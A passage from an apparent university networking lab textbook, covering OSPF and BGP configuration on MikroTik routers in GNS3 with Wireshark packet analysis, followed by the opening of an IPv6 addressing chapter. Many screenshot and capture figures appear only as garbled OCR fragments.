> routing ospf instance add name=Bob version=2 router-id=10.255.255.1

Command Meaning

routing ospf instance access the routing ospf instance menu directly

add create a new OSPF instance

name= what follows is the name we are giving this instance

The name, it could be anything that helps humans understand why it is here: marketing, default,
Bob building-17, etc. We are using Bob because why not Bob? We are only going to have 1 instance, so it
doesn't matter.

version=2 version 2 indicates that we are using OSPF IPv4 networks, version=3 would indicate IPv6
router-id= what follows is the ID number of the router
10.255.255.1 Not a real IP address meaning router 1 on network space 10.0.0.0

2.2. Create the OSPF area by typing

> routing ospf area add name=backbone area-id=0.0.0.0 instance=Bob

Command Meaning

routing ospf area access the routing ospf area menu directly

add create a new area

name= what follows is the name we are giving this area

backbone this is our main area

area-id= what follows is the ID number for the area name - NOTE: 0.0.0.0 is always the backbone

what follows is the instance we are going to use, in this case, we will use the instance ‘Bob’ that we created

instance=Bob earlier

2.3. Add each interface connected to Router1 to the OSPF backbone area

> routing ospf interface-template add area=backbone interfaces=all

NOTE: There are several additional ways to create the template by....
1. Assigning interface names individually

> routing ospf interface-template area=backbone

interfaces=loopback
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routing ospf interface-template ac area=backbone

interfaces=etherl

2. Assigning specific networks instead of interfaces

routing ospf interface-template a area=backbone

network=x.x.x.x/x

3. In Wireshark, you should now see OSPF Hello packets broadcasted at a regular interval of every 10
seconds (further dissected in Phase Il

18.08.4.1 224.8.8.5 OSPF Hello Packet
18.08.4.1 224.8.8.5 OSPF Hello Packet
18.08.4.1 224.8.8.5 OSPF Hello Packet
18.08.4.1 224.8.8.5 OSPF Hello Packet
18.08.4.1 224.8.8.5 OSPF Hello Packet
18.08.4.1 224.8.8.5 OSPF Hello Packet
18.08.4.1 224.8.8.5 OSPF Hello Packet

Figure 2 - Wireshark packet capture

4. Repeat the above steps to configure OSPF for Router2 and Router3

NOTE: Remember, in this example, Router 2's ID is 10.255.255.2 and Router3's ID is 10.255.255.3.

5. You will know when you are successful if you see the following OSPF packets in Wireshark
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[

10.0.¢

10.08.4.

10.0.4.:

10.0.4.2

10.0.4.2

10.0.4

10.0.4.2

224.0.0.5

394 . 8.0.5 Acknowledge
Acknowledge
Update
Update
Acknowledge
Update
Acknowledge

(%]

[ N T R

= P2

%]

L
A
L
A
L
A
L
A
L
A
L
A
L
A
L

[

Figure 3 - OSPF routing data exchange

6. Stop the Router1-Router2 Wireshark packet capture

NOTE: Do not close the window yet! We will come back to this in the next section.

7. Wait a minute for OSPF to fully exchange routing tables for the entire network...
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Figure Zzzzzz

8. Test the environment

8.1. Request an IP address to devices in both the red and blue subnets to verify DHCP is
operational

8.2. From the PC1 console, trace the route taken to PC3

> trace 10.0.2.100 -P 1
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tr1+C Lo stop

Figure 4 - Tracing connection between PC1 and PC3

8.3. Cut the connection between Router1 and Router2

.1
ROUTER-03

2

/23 SuUB

.1 .1

.1 .1 o2

.1

ROUTER-01 ROUTER-02

Figure 5 - Cutting Router1-Router2 link

8.4. Retrace the PC1-PC3 route to verify it can dynamically update the optimal network path

> trace 10.0.2.100 -P 1

tr1+C Lo stop

o s

=)

Figure 6 - Tracing connection between PC1 and PC3

OSPF Troubleshooting

The following router commands are useful in troubleshooting errors you might encounter. Below is the
expected output for Router1.
1. All created OSPF instances. In this example, there should only be one per router.
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> routing ospf instance print

Figure 7 - Router1 OSPF instance

2. All created OSPF areas. In this example, there should only be one backbone area per router.

> routing ospf area print

, I - dynamic: T -
F-DATA =0,

Figure 8 - Router1 OSPF area

2. Instances set to be configured with OSPF. Your output may vary depending whether you specified individual
interfaces or networks.

e—template

=0 =broad

[admnin@

Figure 9 - Router1 OSPF interfaces

3. All current OSPF neighbors currently sharing routing information. There should be two neighbors listed:
Router2 and Router3. Pay attention to the router-id values to identify which is which.

—"Full"

[admin@

Figure 10 - Router1 OSPF neighbors
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NOTE: If the Router1-Router2 link is still cut, there will only be one neighbor shown until this connection is
restored.

5. All routes currently known by the host router. This should contain every subnet ID on this network.

> ip route print

1> ip route
- IYNAHIC: A - ACTIVE: c - COMMECT, o - OSPF: + - ECHP
GATEWAY. DISTANCE
DISTANCE
0

110

110
i}
i}
110
110
i}
110
110

Figure 11 - Router1 routing table

Phase IV - Dissecting OSPF Traffic

OSPF is a noisy protocol when no constraints are made. You should see many different kinds of packets
appearing on the Wireshark capture.

1. Focus on the previous Router1-Router2 Wireshark capture

NOTE: You can always generate more OSPF traffic by deleting then restoring any router-adjacent
connection.

1.1. Filter only for OSPF packets

R ospf

Interface phy0.mon v Channel 1-2.
Source Destination
10.0.4.2 224.0.0.5
18.8.4.1 224.0.0.5

Figure 12 - Filtered Wireshark capture
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1.2. [Hello Packet]

These packets are sent every 10 seconds (default) out of configured interfaces. The Hello
Packets are used to discover OSPF neighbors and help build adjacency. Notice that the
destination for the Hello Packets is 224.0.0.5. This is the broadcast address for the OSPF
protocol.

18.9.4.1 224.0.0.5 OSPF Hello Packet

Frame 542:
Ethernet II,

18.255.255.2

Figure 13 - OSPF Hello

1.3. [DB Description]

Database description packets are distributed after the OSPF handshake between two
routers has been established. Here, they will advertise the current state of their internal OSPF
database. In the example below, Router2 is telling Router1 that it currently has five links to
offer: three directly connected and two remote.
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OSPF DB Description
0OSPF DB Description
0OSPF DB Description

ﬂptlﬂﬂﬂ

DB De ntio . Master
DD -

—
0w
= I

—
(¥p]
R

—
Lo

r
w
T

Figure 14 - OSPF database descriptor

1.4. [LS Update]

Link state update packets are used exchange network information between OSPF
neighbors. This will occur any time routing information is altered, such as a cable being cut,
an interface going offline, or the addition of new links. The example below shows Router2
advertising the networks 10.0.2.0/24 and 10.255.255.2/32 to Router1.

10.8.4.2 0SPF 3 D ription
224.0.0.5 0SPF Update
224.0.0.5 0SPF S Update

Figure 15 - OSPF link-state update

1.5. [LS Request]
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After an LS Update is received, the router will transmit a link state update packet for further
information about the network. This will then be followed by additional LS Update packets

contain the requested data.

224.0.0.5 0OSPF
10.8.4.2 OSPFE
10.8.4.1 0OSPF

Frame 548: 70
Ethernet II,

Interne
Open St

O0SPF He

Figure 16 - OSPF link-state request

1.6. [LS Acknowledge]

LS Update
LS Request

LS Update

An acknowledgment of given after every LS Update is received.

224.0.0.5 OSPF
).4.: OSPF

LS Acknowledge
Request

B1, Dst: B
» 18.8.4.1, Ds

len 32

Figure 17 - OSPF link-state acknowledgement

End of Lab

Deliverables
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5 screenshots are required to receive full credit for this assignment

*  GNS3 working environment will have all devices on and labeled correctly

«  Avrouter display of all the IP routes - all four router IDs should be visible

+  Wireshark showing OSPF Hello Packets

+  Wireshark shows ICMP packets between PC1 and PC3 using one path

+  Wireshark shows ICMP packets between PC1 and PC3 using a different path

Assignment 1 - Update the network build in Assignment 1 from the previous chapter

+  Configure DHCP to support the network
c Replace RIPv2 routing with OSPF
+  RECOMMENDED GRADING CRITERIA

o Screenshot of GNS3 Workspace with all devices labeled including Router IDs
o Screenshot of the DHCP configuration
o Screenshot of OSPF packets

o Wireshark Packet Captures where a Green host can ping

. Red Host
. Blue Host

. Gray Host

+  Sample network environment:
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DHCP-SERVER

ROUTER-3

PC3
Switchl ROUTER-1 ROUTER-2 Switch2
> >
PC2 - > PC4

Figure 18 - Assignment 1 network

Assignment 2 - Update the network build in Assighment 2 from the previous chapter

. Configure DHCP to support the network
c Replace RIPv2 routing with OSPF
. RECOMMENDED GRADING CRITERIA

o Screenshot of GNS3 Workspace with all devices labeled including Router IDs
o Trace route command showing that an ICMP packet from a Blue host takes different paths
to reach the Purple host (You may have to disconnect some connections to force the change
in path)
. Router2 -> Router5
. Router2 -> Router1 -> Router5
- Router2 —> Router3 -> Router1 -> Router5

. Router2 -> Router3 -> Router1 -> Router4 -> Router5
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+  Sample network environment:

DHCP-SERVER

ROUTER-3

PC1 Switchl ROUTER-1

-3
&
ea

ROUTER-2 Switch2 PC3

=
&
ea

PC6 PC8

Figure 19 - Assignment 2 network
Assignment 3 - Preparation for BGP lab

+  Create the following OSPF full-mesh network
+  This will be used in the setup for the next chapter - Border Gateway Protocol Networking

s Network environment
<insert image >
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CHAPTER 29

Dynamic Networking - Border Gateway Protocol

JACOB CHRISTENSEN AND MATHEW J. HEATH VAN HORN, PHD

Although OSPF has fast convergence rates, it can put a lot of strain on computing resources as networks become
larger, making it better suited within a LAN or autonomous system (AS). The Border Gateway Protocol (BGP) on
the other hand is the only networking protocol currently in use that can handle the Internet's ever-increasing size
and complexity while minimizing overhead.

Estimated time for completion: 65 minutes

LEARNING OBJECTIVES

+ Learn how to implement BGP in an enterprise network

+ Be able to identify and understand BGP packets in Wireshark

PREREQUISITES

+ Chapter 28 - OSPF Networking

DELIVERABLES

+ Screenshot of GNS3 Workspace with all devices labeled
+ Wireshark capture of the TCP and BGP packets being exchanged
+ Wireshark view of the keep alive messages

* Wireshark view of the update packets with the NLRI view

RESOURCES

* MikroTik RouterOS Documentation - BGP - https://help.mikrotik.com/docs/pages/
viewpage.action?pageld=328220

CONTRIBUTORS AND TESTERS

+ Dante Rocca, Cybersecurity student, ERAU-Prescott

524


https://help.mikrotik.com/docs/pages/viewpage.action?pageId=328220
https://help.mikrotik.com/docs/pages/viewpage.action?pageId=328220

BGP NETWORKING

A note from the authors:

At the beginning of this book, we focused on how end devices communicate with each other. We used overly-
simplistic definitions, but they helped organize our focus on the topics covered. If we abstract ourselves into a
video-game perspective looking down on our sims, we can zoom in and out and break our network functions into
some abstract views. This is still an oversimplification of how networks work, but it helps us conceptualize what
we have learned and where we are going in our learning.

. 100' level

° Immediate area or workspace, such as an office work center or a living room
° LAN - End devices connected to each other by a switch or a hub

o We see many end devices

. 500' level

° Multiple individual workspaces connected such as an office department or a home
° Network - LANs connected to each other by a router

° We see fewer end devices

+ 5,000 level
° We use routers to extend our connectivity such as neighborhoods or a corporate
enterprise
° Enterprise Network - Routers connected to each other within one enterprise

° We see one end device

525
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AS 2

Pcu-.—‘_‘-_‘-‘-"" =5
m.,/’/’;i Network 2

Network 4

Autonomous System AS-1

Figure 1 - Complete Autonomous System

In this chapter, we are going to zoom out once again to about 20,000' and look at how our enterprise connects
to other enterprises. We will abstract our Enterprise Network and now call it an Autonomous System. At this
point, our video-game view would not see any end devices or LAN devices such as switches and routers.

However, we still think learners need to see how end devices share information with each other through the
network. Therefore, in this chapter, we are going to abstract some of the intermediary functions we have already
learned. Here are some things to keep in mind as you complete this lab:

+  Ahost machine is used to represent an entire LAN
+  Avrouter is used to represent an entire Network

*  Aborder router is used to represent an Enterprise Network (Autonomous System)

Phase | - Building the Network Topology
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The following steps are to create a baseline for completing the lab. It makes assumptions about learner
knowledge from completing previous labs.
Terminology used in this lab:

+  Autonomous System (AS) - A network or cluster of networks following the same routing policies.
Typically, each AS is controlled by a single entity.
+  Autonomous System Number (ASN) - A 16-bit integer assigned to an AS for identification purposes.

+  Autonomous System Border Router (ASBR) - Routers at the edge of an AS that connects to external
networks.

By the end of this chapter, your network topology should look like the following:
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AS 2
SUPERNET: 20.0.0.0[1 6
backbone
PC4 PC5 PCé AS2-DHCP
R1-R2  20.0.5.0/30
R1-ASBR 20.0.6.0/30
R2-ASBR 20.0.7.0/30
20.255.255.1 20.255.255.2
AS2-R1 AS2-R2
< ->
«2 L ] &
e e

GREEN-SWITCH
SUBNET GREEN: 20.0.0.0/22

PURPLE-SWITCH
SUBNET PURPLE: 20.0.4.0/25

AS52-ASBR
20.255.255.0

.2

172.155.10.0/30

AS 1 ) , ASI-ASBR
SUPERNET: 10.0.0.0/16 ' "¢ 10.255.255.0

RED-SWITCH BLUE-SWITCH
-2 -2
= L, o =
a2 a4
AS1-R1 AS1-R2
10.255.255.1 10.255.255.2
backbone
@ @ R1-R2  10.0.4.0/30 @ 6
R1-ASBR 10.0.5.0/30
PC1 PC2 R2-ASBR 10.0.6.0/30 PC3 AS1-DHCP

SUBNET RED: 10.0.0.0/23 SUBNET BLUE: 10.0.2.0/24
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Figure 2 - Final GNS3 environment

1. Start GNS3
1.1. Open the previous Chapter 28 lab
1.2. Save it as a new project: LAB_15
2. Modify the network environment to function as AS-1
2.1. Remove the Gray subnet
2.2. Replace PC4 with a DHCP server

2.3. Router3 will now act as the networks border router (AS1-ASBR)

NOTE: In this example, AS1-ASBR’s Router ID will be 10.255.255.0. If you are reusing a
previously configured router, and want to change the router-id value, ensure to adjust your
previous loopback/OSPF configurations as necessary.

2.4. Adjust OSPF to only operate only on internal facing ethernet ports

NOTE: Remember that the purpose of a border router is to manage packets that are leaving
(egress) or entering (ingress) through a network. With this in mind, some of its ports will be
categorized as internal and external. Below is a simplified example of the network we are trying
to build to illustrate this idea clearly.
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LAN1

internal

internal

LAN2

external

LAN3

internal

internal

LAN4

Figure 3 - Internal vs external links

In the previous chapter, we configured OSPF to operate on ALL active interfaces.
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interface-tenplate

[admin@
Figure 4 - OSPF configured on all interfaces

However, here we only want to share routes that are within the AS-1 network. Therefore,
OSPF should only be configured to operate on internal interfaces. In this example, ether2 is
connected to AS1-R1 and ether3 is connected to AS1-R2. These are inward-facing (internal)
ports. In contrast, ether? will be used as the network’s outward-facing (external) interface.
Below is my OSPF interface configuration for AS1-ASBR.

IETdminE 1 > routing ospf interface—template

aqs

[admin@

Figure 5 - OSPF configured on select interfaces

2.5. Configure AS1-DHCP to service both the Red and Blue subnets

NOTE: Remember to adjust and/or remove your DHCP-relays as you modify the network.

2.5.1. Ensure that all devices can receive IPv4 addresses
2.5.2. Ensure that all devices can ping one another

2.6. Assign default routes for each internal router that points to AS1-ASBR's inward-facing
addresses

NOTE: In most cases, it is impossible for a router to know the location and hop distance
of every single network at all times. Sometimes networks are just too big to store that much
information in a single routing table. Because of this, default routes are used to forward
packets automatically with unknown/foreign destination addresses (represented as 0.0.0.0/0)
to another router who might know the answer. In the context of this network, our internal
routers (AS1-R1 and AS1-R2) should only contain records of subnets within the 10.0.0.0/16
supernet, thanks to our OSPF configuration. Therefore, packets trying to reach outside this
network should be sent to the border gateway router (AS1-ASBR), which might contain this
information.
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2.6.1. Type the following commands in AS1-R1

NOTE: We are assigning two default routes because AS1-ASBR has two inward-
facing interfaces. If one does down, the other will serve as a backup for redundancy.
Remember, route priority is based on distance value.

> ip route add dst-address=0.0.0.0/0 gateway=10.0.5.2 distance=1

> ip route add dst-address=0.0.0.0/0 gateway=10.0.4.2 distance=2

2.6.2. Type the following commands in AS1-R2

> ip route add dst-address=0.0.0.0/0 gateway=10.0.6.2 distance=1

> ip route add dst-address=0.0.0.0/0 gateway=10.0.4.1 distance=2

2.7. Label and organize your network as necessary

AS 1 h R AS1-ASBR
. 2 10.255.255.0
SUPERNET: 10.0.0.0/16
RED-SWITCH A .1 BLUE-SWITCH
-> A A 2 A >
« L — —_— — €&
-4 >
AS1-R1 AS1-R2
10.255.255.1 10.255.255.2
backbone
@ @ R1-R2  10.0.4.0/30 6
R1-ASBR 10.0.5.0/30
PC1 PC2 R2-ASBR 10.0.6.0/30 PC3 AS1-DHCP
SUBNET RED: 10.0.0.0/23 SUBNET BLUE: 10.0.2.0/24

Figure 6 - AST network complete
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3. Build a small network analogous with the following specifications to function as AS-2:

3.1. Class B Supernet - 20.0.0.0/16

Host Lower Bound 20.0.0.1

Host Upper Bound 20.0.255.254

3.2. Subnet - Green
3.2.1. One switch - Ethernet switch
3.2.2. Two client machines - VPCS

3.2.3. Minimize wasted address space for 7000 hosts

Network 20.0.0.0

Netmask 255.255.252.0 (/22)
Broadcast 20.0.3.255
Gateway 20.0.0.1

DHCP Lower Bound 20.0.0.2

DHCP Upper Bound 20.0.3.254

3.3. Subnet - Purple
3.3.1. One switch - Ethernet switch
3.3.2. One client machine - VPCS
3.3.3. One DHCP server - Ubuntu / Windows / MikroTik CHR

3.3.4. Minimize wasted address space for 100 hosts

Network 20.0.4.0

Netmask 255.255.255.128 (/25)
Broadcast 20.0.4.127

Gateway 20.0.4.1

DHCP Lower Bound 20.0.4.3

DHCP Upper Bound 20.0.4.126
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3.4. Subnet - Backbone
3.4.1. Three routers -MikroTik CHR
3.4.2. Full-mesh topology

3.4.3. Minimize wasted address space for each router-to-router connection

Connection Network

AS2-R1 <-> AS2-R2 20.0.5.0/30
AS2-R1 <-> AS2-ASBR 20.0.6.0/30
AS2-R2 <-> AS2-ASBR 20.0.7.0/30

3.5. Configure OSPF to only operate only on internal facing ethernet ports
3.6. Configure AS2-DHCP to service both Green and Purple subnets
3.6.1. Ensure that all devices can receive IPv4 addresses
3.6.2. Ensure that all devices can ping one another
3.7. Assign default routes for each internal router that points to AS2-ASBR

3.7.1. Type the following command in AS2-R1

> ip route add dst-address=0.0.0.0/0 gateway=20.0.6.2 distance=1

> ip route add dst-address=0.0.0.0/0 gateway=20.0.5.2 distance=2

3.7.2. Type the following command in AS2-R2

> ip route add dst-address=0.0.0.0/0 gateway=20.0.7.2 distance=1

> ip route add dst-address=0.0.0.0/0 gateway=20.0.5.1 distance=2

3.8. Label and organize your network as necessary
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AS 2
SUPERNET: 20.0.0.0/16
backbone
PC4 PC5 PC6 AS2-DHCP
R1-R2 20.0.5.0/30
R1-ASBR 20.0.6.0/30
R2-ASBR 20.0.7.0/30
20.255.255.1 20.255.255.2
AS2-R1 AS2-R2

GREEN-SWITCH
SUBNET GREEN: 20.0.0.0/22

PURPLE-SWITCH
SUBNET PURPLE: 20.0.4.0/25

AS2-ASBR
20.255.255.0

Figure 7 - AS2 network complete

Phase Il - Configuring BGPv4 on MikroTik RouterOS

BGPv4, the routing protocol for connecting independent autonomous systems (AS), is used between border
routers to relay any information necessary by each AS. It's vital to understand that BGP is utilized by many ASNs
because they may not all be part of the same entity, as well as to give administrators more control over how data
is transferred between destinations.

1. At this point, you should two small networks that resemble the following figure:
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AS 2
SUPERNET: 20.0.0.0!1 6
backbone
PC4 PC5 PCé6 AS2-DHCP
R1-R2  20.0.5.0/30
R1-ASBR 20.0.6.0/30
R2-ASBR 20.0.7.0/30
20.255.255.1 20.255.255.2
AS2-R1 AS2-R2
=> =3
«2 L | &
p-a 4 p-a 4
GREEN-SWITCH PURPLE-SWITCH

SUBNET GREEN: 20.0.0.0/22 SUBNET PURPLE: 20.0.4.0/25

AS2-ASBR
20.255.255.0

AS1-ASBR

AS 1 )
10.255.255.0

SUPERNET: 10.0.0.0/16

RED-SWITCH BLUE-SWITCH
- -5
&2 L | &
a4 a2
w AS1-R1 AS1-R2 b
10.255.255.1 10.255.255.2
backbone
@ @ R1-R2  10.0.4.0/30 @ 6
R1-ASBR 10.0.5.0/30
PC1 PC2 R2-ASBR 10.0.6.0/30 PC3 AS1-DHCP

SUBNET RED: 10.0.0.0/23 SUBNET BLUE: 10.0.2.0/24
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Figure 8 - Both networks in GNS3

2. Connect two ASBR's together using a random network of your choice

NOTE: In this example, ether1 of both border routers are connected over the 172.155.10.0/30
network. Don't forget to update the interface IP addresses!

AS2-ASBR
20.255.255.0

A
2 .

.2
172.155.10.0/30

.1

AS1-ASBR
.2’; x-z 10.255.255.0

Figure 9 - Connecting AST and AS2

3. Initialize a Wireshark packet capture between the two AS networks

4. Create a new BGP instance on AS1-ASBR

> routing bgp connection add name=HOST-TO-AS2 as=1 local.role=ebgp router-

1id=10.255.255.0 remote.address=172.155.10.2 output.redistribute=connected, ospf

Command Definition

name Name of the new connection instance. This can be anything, but it
should represent its function for best practice.

as ASN integer of the local autonomous system.

local.role Specifies whether BGP is being used internally (ibgp) or externally
(ebgp). Since we are connecting two different AS-es, eBGP is preferred.

router-id I:ceoigdr:eigéification of the local router for the receiving router to

remote.address Specifies the remote interface address of the receiving router.

output.redistribute Specified which routes to be shared with any connected BGP neighbors

5. In Wireshark, you should now see TCP SYN packets attempting to establish a BGP session with
AS2-ASBR
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NOTE: You should NOT see any OSPF Hello packets on this link!!

172.155.18.1 172.155.168.2 TCP 37747 -~ 179 [SYN] Seq=i
172.155.18.2 172.155.168.1 37747

172.155.18.1 172.155.168.2 TCP 41063 - 179 [SYN] Seqg=!
172.155.18.2 172.155.168.1 41063

Figure 10 - Wireshark packet capture

6. Create a new BGP instance on AS2-ASBR

~

> routing bgp connection add name=HOST-TO-AS1 as=2 local.role=ebgp router-

1d=20.255.255.0 remote.address=172.155.10.1 output.redistribute=connected, ospf

7. You will know when you are successful if you see the following packets in Wireshark

NOTE: Looking at Wireshark, you should notice a TCP handshake occur between the two routers
followed by two OPEN messages and a steady stream of KEEPALIVE messages. This means that the
connection was successful and both routers are able to communicate with each other. After every BGP
packet, the recipient will respond with an obligatory TCP ACK segment, acknowledging a successful
transmission of data.
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172.
172.
172.
172.
172.
172.
172.
172.
172.
172.
172.
172.
172.
172.
172.
172.
172.

Figure 11 - Wireshark packet capture

8. You should also start to see UPDATE messages containing Network Layer Reachability Information
(NLRI)

155.10.
155.10.
155.10.
155.10.
155.10.
155.10.
155.10.
155.10.
155.10.
155.10.
155.10.
155.10.
155.10.
155.10.
155.10.
155.10.
155.10.

[ e e R R T i B L N T o L o T o LK

172.
172.
172.
172.
172.
172.
172.
172.
172.
172.
172.
172.
172.
172.
172.
172.
172.

155.10.
155.10.
155.10.
155.10.
155.10.
155.10.
155.10.
155.10.
155.10.
155.10.
155.10.
155.10.
155.10.
155.10.
155.10.
155.10.
155.10.

PRNNBRERRNNPBRRNRRERRNNR R

TCP
BGP
TCP
BGP
TCP
BGP
TCP
BGP
TCP
BGP
TCP
BGP
TCP
BGP
BGP
TCP
TCP

35717 — 179 [ACK]
OPEN Message

179 — 35717 [ACK]
OPEN Message
35717 — 179 [ACK]
KEEPALIVE Message
179 — 35717 [ACK]
KEEPALIVE Message
35717 — 179 [ACK]
KEEPALIVE Message
179 — 35717 [ACK]
KEEPALIVE Message
35717 — 179 [ACK]
UPDATE Message
UPDATE Message
179 -~ 35717 [ACK]
35717 — 179 [ACK]

NOTE: Looking at the details of this packet will reveal the network addresses being distributed by
BGP. In the example below, AS2-ASBR is telling AS2 about the nine subnets on its network.
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172.155.16.2 172.155.16.1 BGP UPDATE Message
172.155.10.1 172.155.10.2 BGP UPDATE Message

Figure 12 - BGP Update packet analysis

Phase Il - Testing the BGP Connection

Now that we have a BGP session started, hopefully we have cross-network communication working.

1. From PC1, trace the path to any device on the Green subnet

] e e D

=
i

Figure 13 - PCT tracing path to PC4

2. Cut some links PC1 used to test the integrity of both networks

Figure 14 - PC1 re-tracing path to PC4
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Congratulations! You made a small enterprise network that can dynamically update using various routing
protocols. You may be asking yourself, whats the point of BGP? Couldn’t we have simply used OSPF to create the
same results? Look at the routing table on AS1-R1:

Figure 15 - AS1-R1 routing table

Now compare this with the routing table on AS1-ASBR:

> ip route

etherl

[admnin@
Figure 16 - AS1-ASBR routing table

Notice how AS1-R1 only cares about the routes in its local AS, while the border router takes on the burden of
inter-network communication. This is the power of BGP: to offload some networking tasks to dedicated machines,
so that other routers can perform more efficiently in their given area.

BGP Troubleshooting

The following router commands are useful in troubleshooting errors you might encounter. Below is the
expected output for AS1-ASBR.
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1. View established sessions. In this example, there should only be one on both border routers. If there is
no output, that means that the neighboring router failed to connect either due to faulty configuration or no
configuration at all.

[admin@

Figure 17 - BGP session status

2. View routes currently being advertised to peers. Remember, we only want to advertise connected and OSPF
routes. If a specific network is missing, verify that the problem router is configured properly. Check interface IP
addresses and OSPF configuration.

> routing bgp advertisements print

=172,155,10,1

2,1585,10,1

2,155,10,1

,155,10,1

=172,155,10,1

=10,0,0,¢ L166,10,1

=10, L155,10,1

[admin@

Figure 18 - BGP advertised links

3. View all routes currently known by the router.
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> ip route print

1 * ip route
- IMWAHIC: T - INACTIVE. A - ACTIVE: - -

. DISTANCE
DISTANCE

110

110

110

Figure 19 - AST1-ASBR routing table

NOTE: Also be sure to verify that all internal routers are assigned default routes that point to their associated
ASBR.

End of Lab

Deliverables

4 Screenshot are needed to earn credit for this exercise:

+  Screenshot of GNS3 Workspace with all devices labeled
*  Wireshark capture of the TCP and BGP packets being exchanged
+  Wireshark view of the ‘keep alive’ messages

+  Wireshark view of the “update” packets with the NLRI view

Assignment 1 - Extend your OSPF network into a BGP Network
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. Turn your previous OSPF Lab (assignment 4) into an Autonomous System (AS-1)
. Create two simulated LANs using VPCs

+  Create AS-2 and add the two simulated LANs

«  Connect AS-1 and AS-2 using two border routers

0 RECOMMENDED GRADING CRITERIA

o Screenshot of GNS3 Workspace with all devices labeled
o Wireshark capture of the TCP and BGP packets being exchanged
o Wireshark view of the 'keep alive’ messages

o Wireshark view of the “update” packets with the NLRI view

Screenshots for Printed Copies
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CHAPTER 30

IPv6 Addressing - Introduction

SAWYER HANSEN; DANTE ROCCA; AND MATHEW J. HEATH VAN HORN, PHD

A standard IPv4 address is comprised of 32 bits of information, resulting in 4,294,967,296 possible permutations.
That's a lot of unique identifiers!... until you realize that a significant number of these IP's are reserved for special
purposes and the estimated number of connected internet devices today ranges in the magnitude of tens of
billions. If it were not for technologies such as NAT, our available address pool would have been depleted many
years ago. However, the increasing number of internet devices has yet to show signs of slowing down any time
soon, and we may reach a point where IP supply cannot keep up with demand. Fortunately, researchers from the
Internet Engineering Task Force developed IPv6, the sixth version of the Internet Protocol.
Estimated time for completion: 25 minutes

LEARNING OBJECTIVES

+ Understand the properties of an IPv6 address
+ How to create an IPv6 Host ID from a MAC address

* How to create IPv6 address from IPv4 addresses

PREREQUISITES

« |Pv4 Addressing - a Vary Brief Review
+ A Ubuntu Desktop VM

+ Introduction to Routers

DELIVERABLES

+ Worksheet

RESOURCES

+ |Pv6 Compression Tool - https://findipvé.com/ipv6-compress

+ [Pv6 Calculator - https://www.calculator.net/ip-subnet-calculator.html

+ |Pv6 Address Generator - https://www.ipvoid.com/random-ipv6/
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CONTRIBUTORS AND TESTERS

+ Berkley Rocca, 11th-Grader, Grand Rapids Christian High School
+ Jacob M. Christensen, Cybersecurity Student, ERAU-Prescott

Phase | - A very brief review

This instructional material is not designed to replace people’s favorite learning materials. We want to simply
augment what already exists. However, it was pointed out by some of our testers that a very abbreviated review
would be a helpful inclusion within the textbook.

Generally, when you ask someone what a device's IP address is, they provide you with an IPv4 address. That's
fine and dandy, but there's more to that picture. Devices also have an IPv6 address. Like IPv4 addresses, these
addresses represent the routing prefix and the host identifier. However, IPv6 addresses are structured differently
than IPv4 addresses.
Learning IPv4 required knowledge of binary and decimal. IPv6 requires knowledge of hexadecimal. IPv6
addresses use hexadecimal values, or base-16 values, meaning there are 16 possible values in each digit, 0-9, a-f.
Here's a translation table:

Decimal 0 1 2 3 4 5 6 7
Binary 0000 0001 0010 0011 0100 0101 0110 0111
Hex 0 1 2 3 4 5 6 7
e ) N
Decimal 8 9 10 11 12 13 14 15
Binary 1000 1001 1010 1011 1100 1101 1110 1111
Hex 8 9 a b c d e f

As you can see, using the hexadecimal term ‘f' is a much more abbreviated representative symbol of the decimal
number 15", At least much easier on us humans than the binary term ‘1111’. This is helpful as the binary digits
grow in size. Look at the difference between an IPv4 address in decimal vs binary.

IPv4 address represented by decimal 192.168.1.1

IPv4 address represented by binary 11000000.10101000.00000001.00000001

You can count the 1s and Os if you want, but trust us when we say there are 32 bits there. To prevent us from
running out of IP space again, IPv6 uses 128 bits! To put it in perspective, there are 100 times more usable IPv6
addresses than the number of atoms on the surface of the Earth. If we look at the different representations of an
IPv6 address, we get the following:

IPv6 Decimal 43962 : 40734 : 51742 : 51400 : 33428 : 48204 : 11497 : 4970

IPV6 Binar 1010101110111010:1001111100011110: 1100101000011110: 1100100011001000 : 1000001010010100 : 1011110001001100 :
y 0010110011101001 : 0001001101101010

IPv6 Hexidecimal abba:9fle:cale:c8c8:8294:bc4c:2ce9:136a

As you can see, hexadecimal notation is MUCH easier for us humans to handle than binary. However, IPv6
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addresses can still be pretty long. The average person can only recall lists of 7 items. Thankfully, there are
conventions to shorten them such as omitting any redundant zeros.
Let's look at a sample IPv6 address such as 2001:ef48:64a3:0000:0000:0000:32ad:0792

1. Let's look at the leading zeros. Look at the last octet (last 4 characters) in our example address. Like
how we don't write the number 8 as 008, we don't want to write 792 as 0792, so we remove the leading

Zero.
Original 2001:ef48:64a3:0000:0000:0000:32ad:0792
Removed the leading zeros 2001:ef48:64a3:0000:0000:0000:32ad:792

2. Next, we remove octets with 0000 as a value. We will refer to them as “gaps”. The convention for
removing strings of gaps is to replace them with two colons (::).

Removed the leading Zeros 2001:ef48:64a3:0000:0000:0000:32ad:792

Removed ‘gaps” 2001:ef48:64a3::32ad:792

3. Much better, right? Keep in mind that you can only remove one string of gaps. In other words, you
cannot have two instances of double colons in your address. If there are multiple gaps not in a string,
the left-most gap is reduced to double colons, and the remainder is reduced to a single zero. Except for
in the case of double colons, there must always be at least one character per octet. For example:

Original, with two sets of ‘gaps’ 2001:ef48:64a3:0000:0000:32ad:0000:0792

Removing the ‘gaps’ 2001:ef48:64a3::32ad:0:0792

4. You can still remove the leading zeros if there are any. We only have 1 octet with a leading 0 now. The
octet 0792. So seeing the process in its entirety would look like this:

Original, with two sets of ‘gaps’ 2001:ef48:64a3:0000:0000:32ad:0000:0792
Remove the ‘gaps’ - left most string of zeros gets the :: and any other sting of . . . -
zeros gets a single 0 2001:ef48:64a3::32ad:0:0792

Remove any remaining leading Os 2001:ef48:64a3::32ad:0:792

a An interactive H5P element has been excluded from this version of the text. You can view it online here:

https://eaglepubs.erau.edu/mastering-enterprise-networks-labs/?p=868#h5p-11

@ An interactive H5P element has been excluded from this version of the text. You can view it online here:

https://eaglepubs.erau.edu/mastering-enterprise-networks-labs/?p=868#h5p-10

@ An interactive H5P element has been excluded from this version of the text. You can view it online here:

https://eaglepubs.erau.edu/mastering-enterprise-networks-labs/?p=868#h5p-9

IPv6 is very similar to IPv4 in its use. Recall that IPv4 addresses are broken up into a street and a house number.
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The street (routing prefix) is dictated by the subnet mask. If you have a mask of 255.255.255.0, or x.x.x.x/24 in
CIDR, the first 24 bits of your address determine your routing prefix. In IPv6, it works similarly. Like IPv4, the
